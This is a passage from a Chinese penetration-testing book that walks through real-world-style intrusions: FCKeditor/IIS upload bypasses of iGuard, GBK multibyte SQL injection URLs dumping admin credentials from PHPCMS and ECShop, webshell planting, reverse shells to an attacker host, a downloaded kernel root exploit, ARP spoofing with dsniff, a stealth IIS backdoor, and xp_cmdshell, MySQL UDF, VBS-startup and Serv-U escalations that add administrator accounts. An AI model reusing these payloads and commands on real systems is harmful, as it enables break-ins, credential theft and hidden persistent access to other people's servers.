6.14 突破防篡改

随着SQL注入的盛行,很多网站首页都遭受了恶意的篡改,人们迫切需要解决网页防篡改问题的方案。为此,许多公司相继推出了硬件和软件,如iGuard防篡改系统。防篡改的原理一般基于3种,分别是外挂轮询技术、核心内嵌技术、事件触发技术。外挂轮询技术是利用一个网页检测程序,以轮询方式读出要监控的网页,并与真实网页相比较,从而判断网页内容的完整性,对被篡改的网页进行报警和实时恢复。核心内嵌技术是将篡改检测模块嵌在Web服务器软件里,在每一个网页流出时都进行完整性检查,对于篡改网页进行实时访问阻断,并予以报警和恢复。事件触发技术是利用操作系统的文件系统接口,在网页文件被修改时进行合法性检查,对非法操作进行报警和恢复。对于一些技术性评估,可以从表6-1中得到一些信息。

表6-1 3种技术评估对比

 

 

项 目 外挂轮询技术 事件触发技术 核心内嵌技术
访问篡改网页 可能 可能 不可能
服务器负载
带宽占用
检测时间 分级 秒级 实时
绕过检测机制 不可能 可能 不可能
防范连续篡改攻击 不能 不能
保护所有网页 不能 不能
动态网页脚本 不支持 支持 支持
适用操作系统 所有 受限 所有
上传时检测 不能 受限
断续时保护 不能 不能

核心内嵌技术目前是最好的防篡改解决方案。只是在攻击手段层出不穷的今天,系统配置是否为最佳和Web应用层防护是否关乎全局,都是较为关键的问题。

6.14.1 初遇防篡改

在检测网站时,我们可以从扫描结果中得到地址“http://www.test.com.cn/admin/fckeditor/editor/filemanager/connectors/test.html”。可以看出,这是FCKeditor的上传页面。由于FCKeditor支持多种文件类型的文件上传,所以管理员可能会根据不同的需要来配置文件,可以通过选择不同的“Connector”文件类型,并单击“Get Folders and Files”选项查看文件夹。如果存在文件夹,返回结果如图6-103所示;如果返回空白页面或者出错信息,则表示没有启用这类文件的上传配置。

图6-103 获取文件夹信息

通过测试发现,网站管理员配置了ASP.NET,可以通过将“Resource Type”设置为“Media”来创建和列出目录。这种思路其实已经有人在网上提出,大致思路是创建ASP文件夹,再向ASP文件夹中传送图片木马,只是没有公布建立类似x.asp这样的文件夹的方法。FCKeditor会将“.”转换成“_”。如果输入“x.asp”,实际上建立的是“x_asp”文件夹,如图6-104所示。

图6-104 无法创建提权用文件夹

提交如下语句就可以解决问题。



     http://www.test.com.cn/admin/FckEditor/editor/filemanager/connectors/aspx/co

nnector.aspx?Command=CreateFolder&Type=Media&CurrentFolder=c.cdx&NewFolderName=z

&uuid=1244789975684

创建“c.cdx”文件夹,在提交时需要UUID参数,原理与创建APS文件夹一样,对这个文件夹中的图片文件,IIS会当作ASP文件来解析。由于是在默认的编辑器中测试页面,管理员禁用了上传功能,只允许创建目录,所以,在后台找到一处上传的地方,其URL为“http://www.testcom.cn/admin/adminimg.aspx?simage=images2&bimage=images&path=%2fadmin%2fUploadFile%2fmedia%2fz. cdx&returnpath=admin/pic&wsize=270&hsize=190”。

通过参数returnpath把目录直接指向“/admin/pic”,然后直接把它指向刚刚建立的“z.cdx”文件夹,即“admin%2fUploadFile%2fmedia%2fz.cdx”,示例如下。



     http://www.testcom.cn/imgresize/imgresize.aspx?simage=images2&bimage=images&

path=%2fadmin%2fUploadFile%2fmedia%2fz.cdx&returnpath=admin%2fUploadFile%2fmedia

%2fz.cdx&wsize=270&hsize=190

在后台直接上传文件或者图片木马,但是由于服务器上安装了iGuard,所以无法执行,如图6-105所示。

图6-105  iGuard防范

6.14.2 突破上传

突破iGuard其实用的也是图片木马的原理。先上传一幅图片和一个小马,如比较经典的diy.asp上传文件木马,使用命令“C:\>copy/b图片+图片木马图片木马”,如图6-106所示。

图6-106 生成图片木马文件

欺骗iGuard,让它认为上传的是一幅图片,如图6-107所示。

图6-107 成功执行木马

还有一种方法可以简化创建特殊文件夹的过程。原理与以上介绍的类似,就是利用不久前爆出的“Microsoft IIS 5.x/6.0 0解析文件名漏洞”。此漏洞描述为:“当文件名为x.asp、x.jpg时,Microsoft IIS会自动以ASP格式进行解析。而当文件名为x.php、x.jpg时,Microsoft IIS会自动以PHP格式进行解析。”上传一个这种格式的图片木马,iGuard也会放行。

之所以能成功上传,原因大致是iGuard对文件的检测过于简单,而IIS本身的缺陷也是主要的原因。

6.15 渗透测试之旁注

本节给出一个旁注渗透测试案例。

6.15.1 信息收集

信息收集是渗透测试的重要一步。

01 端口扫描

在进行测试前,信息收集是很重要的。系统信息、数据库信息、网络设备信息、管理员的信息等,都是值得好好统计、分析和利用的。利用SuperScan对主机进行端口扫描,如图6-108所示。

图6-108 对端口进行扫描

02 虚拟主机站点查询

通过扫描结果可知这台服务器开放了80、443、5901等端口,也即开放了Web、HTTPS、VNC等端口。由于是虚拟主机,确认其上有多少个域名和网站是旁注的第一步。使用虚拟主机站点查询工具进行查询,如图6-109所示。

图6-109 虚拟主机查询

03 浏览测试

通过虚拟主机查询,获知该IP地址上共有7个站点。浏览这7个站点,发现一个存在漏洞的站点,进入该站点,如图6-110所示。

图6-110 发现存在漏洞的站点

04 目录扫描

眼熟的“PHPCMS”标志。看到有主站使用开源的CMS,就看到了成功的希望。

使用WWWSCAN进行进一步扫描,扫描结果如图6-111所示。

图6-111  WWWSCAN扫描网站目录

05 获取管理员登录地址

通过扫描找到3个目录、5个地址,对这些目录和文件地址逐个进行访问,看看有没有敏感信息。如图6-112所示,成功获取网站管理登录后台地址。看上去是一个很普通的管理员专用界面,但实际上是一个特殊的后台,因为它很明显地告诉我们,后台是PHPCMS 2007版本。

图6-112 获取管理后台登录地址

6.15.2 漏洞原理

从上面的信息可以看出,其中一个网站使用了PHPCMS 2007。在Web应用程序中进行渗透测试,注入是很常见的手法。记得有一个很经典的多字节编码漏洞,其原理是这样的:0xbf27不是有一个有效的GBK字符,但是经过addslashed()函数转换,就变成了0xbf5c27;0xbf5c是一个有效的GBK字符,所以0xbf5c27会被当做一个字符0xbf5c和一个单引号来处理;其结果是引号后的查询语句得到了执行。

6.15.3 漏洞利用

在PHPCMS 2007里,由多字节编码漏洞引发的漏洞很多,我们以area.php文件里的漏洞为例进行测试。

提交URL " http://www.test.com/area.php?action=city&province=%BF%27”,出现错误提示,如图6-113所示。这是一个经典的包含多字节编码漏洞的网页。

图6-113 获取错误提示

继续提交以判断列数,示例如下,如图6-114所示。由此可知,返回正常网页。

图6-114 判断列数



     http://www.test.com/area.php?action=city&province=%BF%27 order by 1/**

继续提交URL,示例如下。



     http://www.test.com/area.php?action=city&province=%BF%27 order by 2/**

如图6-115所示,返回不正常网页,说明列数值是1。

图6-115 获取列数

继续提交“http://www.test.com/area.php?action=city&province=%BF%27/* */union/* */select/* */user()/**”,以获取MySQL的用户信息,如图6-116所示,知道该网站的MySQL用户为root。看来网站连接数据库的权限很大。

图6-116 获取数据库用户信息

还可以通过version()、data()等函数收集信息,如图6-117和图6-118所示。

图6-117 获取数据库版本信息

图6-118 获取数据库信息

继续提交“http://www.test.com/area.php?action=city&province=%BF\%27/* */union/* */select/* */CONCAT(username,password)/* */from%20phpcms_member%20where%20userid=1/*”,暴露PHPCMD后台的管理员用户名和密码。利用后台可以上传编辑PHP文件获取WebShell,如图6-119所示。

图6-119 获取PHPCMS的管理员密码

网站的管理员是“phpcms”,而密码是32MD加密的。可以直接到相关网站查询,如图6-120所示,获得了该网站的管理员密码。

图6-120 破解管理员密码

已经知道管理后台的账号和密码,就可以直接进入后台上传脚本木马,如图6-121所示。

图6-121 进入后台

由于PHPCMS程序对后台上传PHP脚本没有限制,所以得到后台就可以上传脚本木马,如图6-122所示。

图6-122 获取WebShell

6.15.4 社工利用

其实,渗透测试使用的方法主要是旁注。旁注的意义在于“曲径通幽”,进而获取系统权限。在此之前,收集数据库信息、系统信息、网站信息和系统管理员信息并进行综合分析利用,对社工是非常有意义的。获取网站的权限后进行分析,如图6-123所示。

图6-123 收集信息

获取系统的MySQL管理员账号是“root”,密码是“12*”。既然许多管理员都有一个密码多处使用的习惯,那么VNC是不是也用了这个密码呢?结果如图6-124所示。

图6-124 成功连接VNC

直接进入系统,获取root权限,连用EXP提权都省了——曲径通幽。这就是“三分技术,七分管理”的生动验证,一个密码多处使用或者使用有规律的密码都是存在风险的。

6.16 内网渗透嗅探术

内网渗透在攻击层面其实更趋向于社工和常规漏洞检测的结合。要想了解网内防护措施的设置,需要通过一步步的刺探和经验的积累,有时判断出错也会进入误区。但是,如果能在网内进行嗅探,则事半功倍,处于一个对网内设置完全透明的状态。本节将从一个注点引发的突破开始,讨论控制整个内网的全过程,以及与内网渗透嗅探术和安全防护相关的内容。

6.16.1 信息收集

在寻找突破时,更多的是从应用服务出发,而应用服务最直观的信息采集就是端口扫描,不同的应用开放的服务也不一样。所以,在对网络进行信息收集时,大概分为两步:端口探测;程序指纹分析。

在端口探测方面,笔者喜欢用SuperScan快速对网段里的应用进行判断,如图6-125所示。

图6-125 信息收集

掌握端口信息后,就要对服务应用程序的指纹进行分析,主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用的流行的攻击方法等。

下面以网内一台提供Web服务的主机作为突破口,提交一个畸形的请求,如图6-126所示。

图6-126 提交畸形请求

从中可以读取以下信息。

• 系统类型:Fedora。
• 应用程序:Apache/2.2.4。

以上只是简单地手工对程序指纹进行了分析。当然,针对Web应用的扫描器还有很多,常用的有WVS、AppScan等。用轻量级的WWWWSCAN进行扫描,如图6-127所示,由扫描的结果可以看到,与手工探测的结果一致。

图6-127 通过WWWSCAN探测目标信息

6.16.2 应用突破

01 目录访问测试

通过简单的信息收集可知网站架构是Apache+MySQL+PHP。直接请求URL " http://61.67.xx.116/htdocs/”,如图6-128所示。

图6-128 目标目录访问测试

02  SQL注入测试

此站是ECShop架构的站点,使用的版本是V2.5.0。ECShop的这个版本存在许多注入点,其中user.php文件就有一个注入漏洞,如图6-129所示,直接请求URL如下。

图6-129 SQL注入测试



     http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn='  union  select

1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*

03 获取并破解管理员密码

由于ECShop使用的是MD5加密,因此在获取管理员的账号和密码后,可以直接通过cmd5.com网站进行解密,如图6-130所示,成功破解。

图6-130 破解管理员密码

04 获取一句话木马

原来的密码是“admin”,有点出乎意料。访问管理后台,修改模板,插入一句木马,即可得到WebShell,如图6-131所示。

图6-131 插入一句话木马

05 获取WebShell

使用一句话后门连接器进行连接,如图6-132获取服务器信息。

图6-132 通过WebShell获取服务器信息

6.16.3 服务器提权

01 提权信息刺探

在获取WebShell权限后,就需要对系统进行分析,进而查找EXP了。执行命令“uname-a”,获取服务器内核版本等信息,如图6-133所示。

图6-133 获取Linux内核版本

02 查看gcc的安装情况

由返回信息“Linux fedora 2.6.20-1.2962.fc6”可知Linux内核版本是2.6.20。在提权时,需要使用gcc进行编译。执行命令“gcc-help”测试对方服务器是否安装了gcc程序,如图6-134所示,发现可以运行gcc,且系统管理员没对使用Shell和gcc进行限制,这也是一个安全隐患。

图6-134 测试服务器是否支持gcc

03 EXP查找

在寻找本地提权利用程序时,通常是根据系统版本进行。应用程序的本地提权也一样,在网上就有可供查询的网站,如http://www.milw0rm.com/。如图6-135所示,在该网站能够搜索很多可以利用的漏洞EXP,不过该网站目前已经停止更新,感兴趣的读者可以访问www.exploit-db.com获取漏洞信息。

图6-135 获取EXP

04 提权利用

本地提权需要一个交互式的Shell。在本机监听端口12345,前提是该监听IP地址必须是外网独立IP地址,如图6-136所示。

图6-136 本地监听

利用WebShell自带的反弹功能直接连接本地的12345端口并返回Shell,如图6-137所示,通过WebShell进行反弹。

图6-137 通过WebShell反弹端口

连接成功后,就能得到一个Apache用户的Shell,如图6-138所示,通过本地监听的12345反弹一个DOS的Shell窗口。

图6-138 回弹的Shell

如果不能交互,可以直接执行如下命令来得到交互的Shell。一般的系统都默认安装Python。还可以上传一个nc的反弹PL程序,然后在本地执行“perl nc.pl 222.0.0.2 4455”命令,反弹Shell到222.0.0.3的4455端口。如图6-139所示,成功获取一个Perl的反弹Shell。

图6-139 通过Python反弹Shell



     # python -c ‘impotr pty;pty.spawn(“/bin/sh”);’

命令成功执行,可以新建一个目录用来存放提权的工具。在Linux下提权大致可分为第三方软件漏洞、本地信任特性、内核溢出等,比较常用的、溢出率高的当属内核溢出。用Wget下载溢出源码,利用的漏洞是Linux vmsplice Local Root Exploit,成功比较高的,通过gcc编译和执行,如图6-140所示。

图6-140 编译EXP

执行后,如图6-141所示,成功获取root权限。选择溢出利用程序时,可能需要多次进行测试。

图6-141 成功获得root权限

6.16.4 嗅探

什么是嗅探(Sniffer)?Sniffer是截获目标计算机的通信,通过分析截获的数据提取敏感信息的工具。Sniffer通过什么方法截获数据呢?在此之前得解释一下ARP(Address Rrsolution Protocol)协议,即地址解析协议。ARP是TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址,根据内存中的一张表使IP请求得以在网络上被目标机器应答。在数据传送时,IP包里有源IP地址、源MAC地址、目标IP地址。如果在ARP表中有对应的MAC地址,就根据最优选择法直接访问;如果没有对应的地址,就要将请求广播出去,在网内寻找对应的地址;如果对方的IP地址和发出的目标IP地址相同,那么对方会发送MAC地址给源主机,此时如果攻击者也接听到发送的IP地址,就会仿冒目标主机的IP地址,然后返回自己主机的MAC地址给源主机,因为源主机发送的IP包中不包括目标主机的MAC地址,而ARP表里又没有目标IP地址和目标MAC地址的对应表,所以会接受攻击者的MAC地址而选择与其通信,从而产生ARP欺骗。在系统刚启动时,可以在DOS环境下输入命令“arp-a”来查看本机ARP缓存表的内容,如图6-142所示。

图6-142 查看ARP缓存表内容

与IP地址192.168.0.5进行通信,通信后ARP缓存表中就会有一条MAC地址和IP地址对应的记录,如图6-143所示。

图6-143  IP通信与缓存

1.Dsniff介绍

Dsniff是一个著名的网络嗅探工具包,其开发者是Dug Song,其开发的本意是用来揭示网络通信的不安全性,方便网络管理员对自己网络的审计,当然也包括渗透测试,安装包里此工具充分揭示了协议的不安全性。作为一个工具集,Dsniff包括的工具大致分为四类。

• 纯粹被动进行网络活动监视的工具,包括dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy。
• 针对SSH和SSL的MITM“攻击”工具,包括sshmitm和webmitm。
• 发起主动欺骗的工具,包括:arpspoof、dnsspof、macof。
• 其他工具,包括tcpkill、tcpnice。

2.安装配置

Dsniff的官方下载地址为www.monkey.org/~dugsong/dsniff/,这是源码包。解压后看一下Readme文件,提示需要OpenSSL、Berkeley_db、libnet、libpca、libnids这5个软件的支持,下载地址如下。

• Berkeley_db:http://www.oracle.com/technology/software/products/berkeley-db/index.html
• libpcap:http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz
• ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.e15.i386.rpm
• ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.e15.i386.rpm
• ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.e15.i386.rpm

系统一般会默认安装OpenSSL、libpcap。

如果下载的是源码包,会得到文件openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap-0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz。

安装OpenSSL的步骤如下。

01 用Tar解压软件包,执行如下3条命令。



     #./config

     #make

     #make install

02 安装libpcap,示例如下。



     #./config

     #make

     #make install

03 安装libnet,示例如下。



     #./config

     #make

     #make install

04 安装libnids,示例如下。



     #./config

     #make

     #make install

05 安装libnids,示例如下。



     #./config

     #make

     #make install

06 安装Berkeley DB,示例如下。



     #.cd build_unix

     #../dist/configure

     #make

     #make install

07 安装dsniff,示例如下。



     #./configure

     #make

     #make install

程序安装好后,先查看网卡信息,然后开启服务器IP转发功能,命令如下。



     # echo "1" > /proc/sys/net/ipv4/ip_forward

进行双向欺骗,需要使用ARPSpoof,其命令如下,如图6-144所示。

图6-144 IP转发



     #arp -t 网关 欺骗主机IP地址

ARPSpoof已经开始工作了。可以用TCPdump查看被攻击主机是否有数据经过,命令如下,如图6-145所示。

图6-145 测试主机数据经过情况



     #tcpdump -I eth0 host 61.67.x.115 

如果有数据交换,说明欺骗比较成功。然后,用Dsniff嗅探目标主机,命令如下。



     #Dsniff -c -f /etc/dsniff/dsniff.services 

这个dsniff.services自然就是保存端口和服务对应关系的文件。如图6-146所示,如需要保存到文件,需添加“-w filename”。

图6-146 嗅探目标主机

3.数据分析

数据全是明文传送的,所以数据分析可以完全通过人工方式进行,如图6-147所示。

图6-147 对数据进行分析

通过这条数据可以知道HTTP登录和FTP登录信息,账号和密码全是明文的。经过测试,通过FTP上传的目录正是Web目录,获取WebShell权限并继续提权即可控制主机。

6.16.5 总结与思考

Linux下的嗅探其实容易一些。最近爆出的高危本地提权漏洞,不知道会让多少台主机沦陷?在攻与防的游戏里,系统管理员往往显得如此无助。

6.17 IIS隐性后门控制案例

对于提供Web服务网站的服务器,其安全性相对较高,安装后门程序等容易被发现和查杀,而如果通过执行IIS脚本将系统的磁盘设置为“共享”,就可以通过浏览器查看并下载系统中的文件,还可以上传网页木马文件到一些目录下来执行命令。IIS后门形同“网上邻居”,其功能强大而且非常隐蔽,是一种难得的“后门”控制方法。

6.17.1 安装IIS后门

01 编辑IIS后门脚本

关于IIS后门,网上有很版本,也有非常智能的版本。本案例使用的IIS脚本主要用于在通过溢出等方法所获得的Shell中执行。该IIS后门脚本代码如图6-148所示,其中“iisdoor”为控制时必须输入的虚拟目录,名称可以自由设定;“C”表示将整个C盘“Web共享”,名称不能更改,如果需要“Web共享”多个磁盘,则需要将整段代码复制,将其中的“C”替换为其他盘符。

图6-148  IIS后门脚本代码

02 上传并执行IIS后门脚本代码

本例是通过Radmin来传输文件并执行IIS命令的,将IIS后门脚本程序命名为“IISC.bat”,然后将其上传到欲安装IIS后门的计算机磁盘中,在其Telnet中执行IISC.bat脚本,执行过程会给出一些提示,如图6-149所示。如果提示显示的内容为“True”,则表示执行成功。

图6-149 执行IIS脚本后门程序

6.17.2 通过浏览器查看IIS后门

01 通过浏览器查看IIS后门

在浏览器地址栏中输入“http://www.somesite.com/iisdoor/c”,就可以查看IIS后门。也可以在浏览器地址栏中输入“http://2** .***.***.87/***/c”来查看IIS后门,如图6-150所示。

图6-150 查看IIS后门

02 通过IE浏览器打开IIS后门

直接打开IE浏览器,依次选择“文件”→“打开”选项,在“打开”对话框中输入IIS后门地址“http://www. somesite.com/iisdoor/c”,并选中“以Web文件夹方式打开”复选框,如图6-151所示。被打开计算机的C盘将会以“网上邻居”的方式显示,其操作与在本地操作完全一样,可以执行新建、打开、复制和删除文件等操作。

图6-151 通过IE浏览器打开IIS后门

6.17.3 执行网页木马程序

按照6.17.2节的方式,使用IE浏览器打开IIS后门,向其中复制一个ASP网页木马文件,然后在IE浏览器地址栏中输入“IIS后门+网页木马文件名”,即可打开并执行网页木马。例如,IIS后门地址为“http://www.somesite.com/iisdoor/c”,网页木马文件位于C盘,名称为“hack.asp”,则在浏览器地址栏中输入“http://***.***.**2/p***t/c/hack.asp”,打开后如图6-152所示。

图6-152 执行网页木马程序

说明
(1)在对方计算机上执行通过IIS后门设置的网页木马程序,由于IIS脚本中设置为“不进行日志记录”,因此不会留下任何痕迹。
(2)在“运行”文本框中输入“http://***.***.**2/p***t/c/”可以直接打开窗口,其打开方式与访问“网上邻居”有些类似,如图6-153所示。
图6-153 从“运行”文本框中打开IIS后门

6.17.4 小结

本节介绍了IIS脚本的相关知识。Windows中有关IIS的设置和操作都是通过脚本实现的,通过分析其使用的特点和语法构建了IIS后门脚本,通过执行IIS脚本可以获取一个“隐蔽”的后门,该后门功能强大,配合网页程序可以实施完全控制。

第7章 Windows和Linux提权技术

Web渗透的终极目标就是获取服务器权限,也即在获取WebShell权限后,利用现有信息和资源,通过各种途径,让WebShell权限提升到操作系统权限。在Windows中提权的方法很多,本书中仅介绍常见的一些提权方法,包括MSSQL和MySQL数据库提权、Serv-U提权、Winmail提权、Pr提权、JBoss提权。提权的核心思想就是通过应用程序或者操作系统漏洞,使普通用户获得system权限。

本章主要通过一些实际案例讨论如何进行Windows提权,这些提权方法比较经典。掌握这些提权方法后,其他提权方法也可以触类旁通。

本章主要内容

 SQL Server 2005提权

 MySQL数据库root账号提权

 Serv-U提权

 Windows 2008中Magic Winmail Server提权

 Pr提权渗透国外某高速服务器

 JBoss信息泄漏获取WebShell

 远程控制软件Radmin提权限研究

 Gene6 FTP Server本地提权

7.1 SQL Server 2005提权

SQL Server 2005及SQL Server 2008都将“xp_cmdshell”等危险存储过程删除了,但这并不影响提权。只要获取了sa口令,重新添加存储过程,即可像MSSQL 2000 Server一样提权。SQL Server 2005提权的思路很简单,需要获取数据库的用户名和密码,然后通过恢复存储过程执行命令,下面是详细的提权过程。

7.1.1 查看数据库连接文件

通过WebShell查看网站的源代码,如图7-1所示,通过分析首页default.asp文件,获知数据库连接文件为openconnection.asp。

图7-1 分析首页文件

技巧
数据库连接文件的名称一般为conn.asp、openconnectiong.asp、connection.asp,这些文件多位于网站根目录或者“includes”等文件夹下,通过查看首页代码大都能准确找到数据库连接文件。

7.1.2 获取数据库用户和密码

找到数据库连接文件openconnection.asp,将其下载到本地并打开,如图7-2所示,知道数据库用户为“sa”,密码为“Tp*****234”,将其复制出来留待后面使用。

图7-2 获取数据库用户和密码

7.1.3 数据库连接设置

在连接SQL Server 2005之前,需要对数据库进行设置,需要知道sa用户的密码和数据库,默认采用master数据库。在“ConnString”中修改相应的设置,主要是在数据库类型中选择相对应的数据库类型,在WebShell中单击“Database”,如图7-3所示,设置完毕后单击“Go”按钮进行数据库连接测试。

图7-3 设置MSSQL连接

7.1.4 查看连接信息

如果数据库用户名、密码及数据库名称均设置正确,连接成功后会显示相应的信息。例如,“MSSQL Version : Microsoft SQL Server 2005- 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6001: Service Pack 1)及“SrvRoleMember : sa”,表明数据库版本为“icrosoft SQL Server 2005- 9.00.4035.00”,数据库用户角色是“sa”,如图7-4所示。

图7-4  获取数据库基本信息

7.1.5 添加xp_cmdshell存储过程

可以直接在“Run SQL”中输入“Exec sp_configure'show advanced options', 1; RECONFIGURE; EXEC sp_configure'xp_cmdshell', 1; RECONFIGURE;”脚本添加xp_cmdshell存储过程,也可以通过WebShell进行。在“SQLExec”下拉列表中选择第三个命令选项“Add xp_cmdshell(SQL2005)”,如图7-5所示。

图7-5 添加xp_cmdshell存储过程

7.1.6 添加用户

在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项,WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”,修改其添加用户命令,即“Exec master.dbo.xp_cmdshell 'net user temp Wantian365.com! */add '”,将添加用户“temp”,密码为“Wantian365.com! *”,如图7-6所示,单击“Query”按钮添加用户。

图7-6 添加用户

7.1.7 将普通用户添加到管理员组

在“SQLExec”下拉列表中继续选择“XP_cmdshell exec”选项,然后将temp用户添加到管理员组,即运行命令“Exec master.dbo.xp_cmdshell'net localgroup administrators temp/add '”,添加成功后如图7-7所示。

图7-7 添加temp用户为管理员

7.1.8 通过“XP_cmdshell exec”查看系统用户

在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项,WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell'net user'”,如图7-8所示,单击“Query”按钮查询系统用户。如图7-9所示,temp用户已经添加到系统中。

图7-8 查看用户

图7-9 查看系统用户

7.1.9 远程终端登录

打开远程终端连接登录,输入IP地址及刚才添加的用户名和密码,如图7-10所示,成功进入操作系统,操作系统为Windows 2008 Server。

图7-10 成功进入服务器

7.1.10 小结

通过sa权限在SQL Server 2005中提权相对比较简单,这也是将WebShell权限提权到系统级别的一种思路。另外,通过数据库备份,将批处理命令备份到启动文件夹下,系统重启后就会自动执行批处理命令,也能达到提权的效果。

7.2 MySQL数据库提权

下面介绍MySQL数据库提权的相关内容。

7.2.1 设置MySQL提权脚本文件

将MySQL提权脚本文件上传到服务器,运行后需要对IP地址、UID、密码、数据库进行配置。如图7-11所示,IP地址一般可以设置为localhost、127.0.0.1及真实的IP地址,UID默认为root,其他具有root用户权限的用户名称也可以使用,密码为具有root权限的用户的密码,数据库默认选择MySQL数据库,单击“提交查询内容”按钮进行连接测试。

图7-11 设置MySQL提交脚本文件

7.2.2 进行连接测试

连接成功后,会给出相应的提示,如图7-12所示,包括用户、数据库、数据目录(datadir)、基本目录(basedir)、版本、插件路径、MySQL函数等信息。

图7-12 连接测试

7.2.3 创建shell函数

单击“Dump UDF”按钮将UDF.DLL文件导出到默认的插件目录下,单击“Create Function”按钮创建shell函数。如图7-13所示,如果前面已经创建了shell函数,会提示该函数已经存在。

图7-13 创建shell函数

7.2.4 查看用户

在查询文本框中输入“select shell('cmd','net user')”查看系统中所有的用户。如图7-14所示,可以正常查看系统中的所有用户信息。

图7-14 查看用户

7.2.5 创建具有管理员权限的用户

分别在查询文本框中输入脚本“select shell('cmd' ,'net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp/add ')”并执行该查询命令,如果执行成功,则表示在系统中添加用户“temp”,密码为“temp123456”,同时将该用户添加到管理员组中,使其具备管理员权限,执行成功后如图7-15和图7-16所示。

图7-15 添加temp用户

图7-16 将用户temp添加到管理员组

7.2.6 提权成功

在SQL查询文本框中输入“select shell('cmd' ,'net localgroup administrators')”命令查看刚才添加的用户是否添加成功,如图7-17所示,查询结果表明已经将temp用户添加到管理员组中。

图7-17 查看管理员用户

目前很多网站都会提供远程终端服务,只要用户添加成功,就可以直接登录该服务器。如图7-18所示,输入用户名和密码,成功进入该服务器,至此,就通过MySQL的root用户成功提权。

图7-18 成功进入服务器

7.2.7 小结

通过本例中的方法可以快速将WebShell权限提升到服务器权限,当然,还有其他方法可以通过MySQL提权。下面对经常用到的一些有关MySQL的提权命令和方法进行总结。

1.UDF提权的常用命令

UDF提权的常用命令如下。

• create function cmdshell returns string soname 'udf.dll'
• select cmdshell('net user antian365 123! @#abcABC/add');
• select cmdshell('net localgroup administrators antian365/add');
• select cmdshell('net localgroup administrators ');
• select cmdshell('ipconfig/all');
• select cmdshell('net user');
• select cmdshell('regedit/s d:\wwwroot\3389.reg');
• drop function cmdshell;
• select cmdshell('netstat-an');

2.VBS启动项提权

先通过WebShell连接数据库,通过建立表a将VBS脚本写入表中,然后导入启动项。该脚本仅对中文版本有效,如果使用其他语言版本的操作系统,仅需对“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs”这个脚本进行相应更改。在VBS脚本后面有一个“0”,表示不弹出CMD窗口,以静默模式运行。该方法是在通过UDF提权失败的情况下,将VBS插入启动项中,待系统重启后将自动添加一个用户,示例如下。



     create table a (cmd text);

     insert into a values ("set wshshell=createobject (""wscript.shell"") " );

     insert into a values ("a=wshshell.run (""cmd.exe /c net user antian 123!@#$%

/add"",0) " );

     insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators

antian /add"",0) " );

     select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」

菜单\\程序\\启动\\a.vbs";

3.Linux下的MySQL提权

Linux下的MySQL提权命令如下。



      mysql -h localhost -uroot -p

      system useradd hacker

      system passwd hacker

      system tail -l /etc/passwd

      system tail -l /etc/shadow

7.3 Serv-U提权

Serv-U提权是Windows系列服务器提权最常用的方法之一,目前Serv-U最新版本为9.x,自Serv-U 8.0以后,Serv-U提权方式发生了一些办法。只要系统安装了Serv-U,通过WebShell可以直接提权。

7.3.1 利用WebShell查看系统管理员用户组

在ASP.NET的WebShell中,单击“CmdShell”超链接,在“CmdPath”文本框中将“cmd.exe”修改为“net”或者“net.exe”,然后在“Argument”文本框中输入“net localgroup administrators”,最后单击“Submit”按钮查看管理员用户组,如图7-19所示,一共有4个管理员用户。

图7-19 查看管理员用户组

7.3.2 执行SU Exp

在ASP.NET的WebShell中单击“SU Exp”超链接,“UserName”、“Password”、“Port”文本框采取默认设置,一般情况下不用变更。如果发现这些选项有变更,则应调整这3个选项的值对应一致。在“CmdShell”文本框中输入“cmd.exe/c net user king king 123456! @#/add”,如图7-20所示,执行添加用户命令,在系统中添加一个“king”用户,用户密码为“123456! @#”。

图7-20 添加用户king

技巧
在添加用户时,尽量将密码设置得复杂一些。现在很多系统都设置了密码策略,如果密码强度不够,系统就不会执行该命令。执行成功后,会出现如图7-21所示的提示窗口,该窗口仅仅表明命令执行成功,但添加用户不一定成功。

图7-21 执行命令提示

在“Su EXP”页面中修改“CmdShell”命令为“cmd.exe/c net localgroup administrators/add”,将king用户添加到管理员组中,如图7-22所示。

图7-22 添加用户到管理员组

7.3.3 检查Serv-U提权情况

回到“CmdShell”页面,再次执行“localgroup adminstartors”命令,如图7-23所示,king用户已经成功添加到管理员组中。

图7-23 检查程序执行情况

7.3.4 远程终端登录测试

在ASP.NET的WebShell中单击“SysInfo”超链接,如图7-24所示,可以方便地获取远程终端的端口及其他一些系统相关信息。在本例中,获知远程终端端口由默认的“3389”更改为“53389”。

图7-24 查看端口信息

打开远程终端登录窗口,在连接地址中输入“xxx.xxx.xxx.xxx :53389”,如图7-25所示,输入刚才添加的用户名和密码,成功登录远程终端,说明Serv-U提权成功。

图7-25  Serv-U提权成功

7.3.5 小结

Serv-U默认安装在C盘,但也可能安装在其他路径,因此,在提权时需要通过WebShell查看Serv-U的真实路径,特别是通过ASP的WebShell提权时,必须进入Serv-U的真实路径,提权才会成功。Serv-U 7.0以后的版本提权相对较难,目前网上也有利用程序,但在提权时需要设置才能提权成功。

通过WebShell对Serv-U提权是一种方法。对Serv-U来说,如果通过WebShell可以查看Serv-U的配置文件,那么还可以通过破解Serv-U的用户密码来提权。

7.4 Windows Server 2008中Magic Winmail Server提权

